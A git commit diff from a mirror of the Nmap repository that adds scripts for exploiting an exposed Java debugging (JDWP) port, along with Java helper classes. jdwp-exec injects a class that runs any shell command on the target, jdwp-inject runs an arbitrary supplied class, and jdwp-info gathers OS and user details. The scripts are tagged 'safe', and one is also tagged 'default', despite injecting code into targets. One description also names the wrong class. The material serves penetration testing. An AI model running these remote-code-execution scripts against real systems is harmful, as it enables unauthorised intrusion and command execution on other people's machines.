1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-12 02:39:03 +00:00

Merged jdwp library, scripts and java classes into trunk

This commit is contained in:
aca
2012-08-14 11:31:08 +00:00
parent 10ff148495
commit 16aa7a938d
11 changed files with 1450 additions and 0 deletions

View File

@@ -1,5 +1,8 @@
# Nmap Changelog ($Id$); -*-text-*-
o [NSE] Added JDWP library, jdwp-info, jdwp-exec and jdwp-inject scripts and
needed classes. [Aleksandar Nikolic]
o [NSE] Added a BJNP library and the scripts broadcast-bjnp-discover and
bjnp-discover. [Patrik Karlsson]

Binary file not shown.

View File

@@ -0,0 +1,31 @@
import java.io.*;
/* This is the JDWPExecCmd source used for jdwp-exec script to execute
* a command on the remote system.
*
* It just executes the shell command passed as string argument to
* run() function and returns its output.
*
* Compile simply with:
* javac JDWPExecCmd.java (should be in the nselib/data/ directory).
*
* author = "Aleksandar Nikolic"
* license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
*/
public class JDWPExecCmd {
public static String run(String cmd) {
String result = cmd + " output:\n";
try{
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
result += line.trim()+"\n";
}
result += "\n";
}catch(Exception ex){
}
return result;
}
}

Binary file not shown.

View File

@@ -0,0 +1,41 @@
import java.io.*;
import java.util.Date;
/* This is the JDWPSystemInfo source used for jdwp-info script to get remote
* system information.
*
* Compile simply with:
* javac JDWPSystemInfo.java (should be in the nselib/data/jdwp-class directory).
*
* author = "Aleksandar Nikolic"
* license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
*/
public class JDWPSystemInfo {
public static String run() {
String result = "";
result += "Available processors: " + Runtime.getRuntime().availableProcessors() + "\n";
result += "Free memory: " + Runtime.getRuntime().freeMemory() + "\n";
File[] roots = File.listRoots();
for (File root : roots) {
result += "File system root: " + root.getAbsolutePath() + "\n";
result += "Total space (bytes): " + root.getTotalSpace() + "\n";
result += "Free space (bytes): " + root.getFreeSpace() + "\n";
}
result += "Name of the OS: " + System.getProperty("os.name") + "\n";
result += "OS Version : " + System.getProperty("os.version") + "\n";
result += "OS patch level : " + System.getProperty("sun.os.patch.level") + "\n";
result += "OS Architecture: " + System.getProperty("os.arch") + "\n";
result += "Java version: " + System.getProperty("java.version") + "\n";
result += "Username: " + System.getProperty("user.name") + "\n";
result += "User home: " + System.getProperty("user.home") + "\n";
Date dateNow = new Date();
result += "System time: " + dateNow + "\n";
return result;
}
public static void main(String[] args){
System.out.println(run());
}
}

View File

@@ -0,0 +1,26 @@
This directory contains sources and compiled classes
used by jdwp-* scripts.
All classes must have run() method defined which is
expected to return a string.
Method run() can have arguments, but then the scripts
would need to be modified to add those arguments when
class is injected. As JDWPExecCmd has a run() method
which accepts a string as its argument, see
jdwp-exec script for details of passing the
arguments to a method via JDWP.
Arguments need to be tagged with their respective type.
For other tags see http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 .
Example from jdwp-exec:
local cmdID
status,cmdID = jdwp.createString(socket,0,cmd)
local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag
-- invoke run method
local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
To compile these sources:
# javac *.java

1094
nselib/jdwp.lua Normal file

File diff suppressed because it is too large Load Diff

86
scripts/jdwp-exec.nse Normal file
View File

@@ -0,0 +1,86 @@
local jdwp = require "jdwp"
local stdnse = require "stdnse"
local nmap = require "nmap"
local shortport = require "shortport"
local string = require "string"
description = [[
Script to exploit java's remote debugging port.
When remote debugging port is left open, it is possible to inject
java bytecode and achieve remote code execution.
Script abuses this to inject and execute Java class file that
executes the supplied shell command and returns its output.
The script injects the JDWPSystemInfo class from
nselib/jdwp-class/ and executes its run() method which
accepts a shell command as its argument.
]]
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe","discovery"}
---
-- @usage nmap -sT <target> -p <port> --script=+jdwp-exec --script-args cmd="date"
--
-- @args cmd Command to execute on the remote system.
--
-- @output
-- PORT STATE SERVICE REASON
-- 2010/tcp open search syn-ack
-- | jdwp-exec:
-- | date output:
-- | Sat Aug 11 15:27:21 Central European Daylight Time 2012
-- |_
portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol))
end
action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then
stdnse.print_debug("error, %s",socket)
end
-- read .class file
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPExecCmd.class"), "rb")
local class_bytes = file:read("*all")
-- inject the class
local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes)
-- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then
stdnse.print_debug("Couldn't find run method.")
return false
end
-- set run() method argument
local cmd = stdnse.get_script_args(SCRIPT_NAME .. '.cmd')
if cmd == nil then
stdnse.print_debug("This script requires a cmd argument to be specified.")
return false
end
local cmdID
status,cmdID = jdwp.createString(socket,0,cmd)
local runArgs = bin.pack(">CL",0x4c,cmdID) -- 0x4c is object type tag
-- invoke run method
local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
-- get the result string
local stringID
_,_,stringID = bin.unpack(">CL",result)
status,result = jdwp.readString(socket,0,stringID)
return stdnse.format_output(true,result)
end

87
scripts/jdwp-info.nse Normal file
View File

@@ -0,0 +1,87 @@
local jdwp = require "jdwp"
local stdnse = require "stdnse"
local nmap = require "nmap"
local shortport = require "shortport"
local string = require "string"
description = [[
Script to exploit java's remote debugging port.
When remote debugging port is left open, it is possible to inject
java bytecode and achieve remote code execution.
Script abuses this to inject and execute Java class file that
returns remote system information.
]]
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery"}
---
-- @usage nmap -sT <target> -p <port> --script=+jdwp-info
-- @output
-- PORT STATE SERVICE REASON
-- 2010/tcp open search syn-ack
-- | jdwp-info:
-- | Available processors: 1
-- | Free memory: 15331736
-- | File system root: A:\
-- | Total space (bytes): 0
-- | Free space (bytes): 0
-- | File system root: C:\
-- | Total space (bytes): 42935926784
-- | Free space (bytes): 29779054592
-- | File system root: D:\
-- | Total space (bytes): 0
-- | Free space (bytes): 0
-- | Name of the OS: Windows XP
-- | OS Version : 5.1
-- | OS patch level : Service Pack 3
-- | OS Architecture: x86
-- | Java version: 1.7.0_01
-- | Username: user
-- | User home: C:\Documents and Settings\user
-- |_ System time: Sat Aug 11 15:21:44 CEST 2012
portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol))
end
action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then
stdnse.print_debug("error, %s",socket)
end
-- read .class file
local file = io.open(nmap.fetchfile("nselib/data/jdwp-class/JDWPSystemInfo.class"), "rb")
local class_bytes = file:read("*all")
-- inject the class
local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes)
-- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then
stdnse.print_debug("Couldn't find run method.")
return false
end
-- invoke run method
local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
-- get the result string
local stringID
_,_,stringID = bin.unpack(">CL",result)
status,result = jdwp.readString(socket,0,stringID)
-- parse results
return stdnse.format_output(true,result)
end

79
scripts/jdwp-inject.nse Normal file
View File

@@ -0,0 +1,79 @@
local jdwp = require "jdwp"
local stdnse = require "stdnse"
local nmap = require "nmap"
local shortport = require "shortport"
local string = require "string"
description = [[
Script to exploit java's remote debugging port.
When remote debugging port is left open, it is possible to inject
java bytecode and achieve remote code execution.
After injection, class' run() method is executed.
Method run() has no parameters, and is expected to return a string.
You can specify your own .class file to inject by <code>filename</code> argument.
See nselib/data/jdwp-class/README for more.
]]
author = "Aleksandar Nikolic"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"safe","discovery"}
---
-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class
--
-- @args filename Java .class file to inject.
-- @output
-- PORT STATE SERVICE REASON
-- 2010/tcp open search syn-ack
-- | jdwp-inject:
-- |_ Hello world from the remote machine!
--
portrule = function(host, port)
-- JDWP will close the port if there is no valid handshake within 2
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
return port.service == "tcpwrapped"
and port.protocol == "tcp" and port.state == "open"
and not(shortport.port_is_excluded(port.number,port.protocol))
end
action = function(host, port)
stdnse.sleep(5) -- let the remote socket recover from connect() scan
local status,socket = jdwp.connect(host,port) -- initialize the connection
if not status then
stdnse.print_debug("error, %s",socket)
end
-- read .class file
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
if filename == nil then
stdnse.print_debug("This script requires a .class file to inject.")
return false
end
local file = io.open(nmap.fetchfile(filename), "rb")
local class_bytes = file:read("*all")
-- inject the class
local injectedClass
status,injectedClass = jdwp.injectClass(socket,class_bytes)
-- find injected class method
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
if runMethodID == nil then
stdnse.print_debug("Couldn't find run method.")
return false
end
-- invoke run method
local result
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
-- get the result string
local stringID
_,_,stringID = bin.unpack(">CL",result)
status,result = jdwp.readString(socket,0,stringID)
-- parse results
return stdnse.format_output(true,result)
end

View File

@@ -222,6 +222,9 @@ Entry { filename = "irc-unrealircd-backdoor.nse", categories = { "exploit", "int
Entry { filename = "iscsi-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "iscsi-info.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "isns-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "jdwp-exec.nse", categories = { "discovery", "safe", } }
Entry { filename = "jdwp-info.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "jdwp-inject.nse", categories = { "discovery", "safe", } }
Entry { filename = "jdwp-version.nse", categories = { "version", } }
Entry { filename = "krb5-enum-users.nse", categories = { "auth", "intrusive", } }
Entry { filename = "ldap-brute.nse", categories = { "brute", "intrusive", } }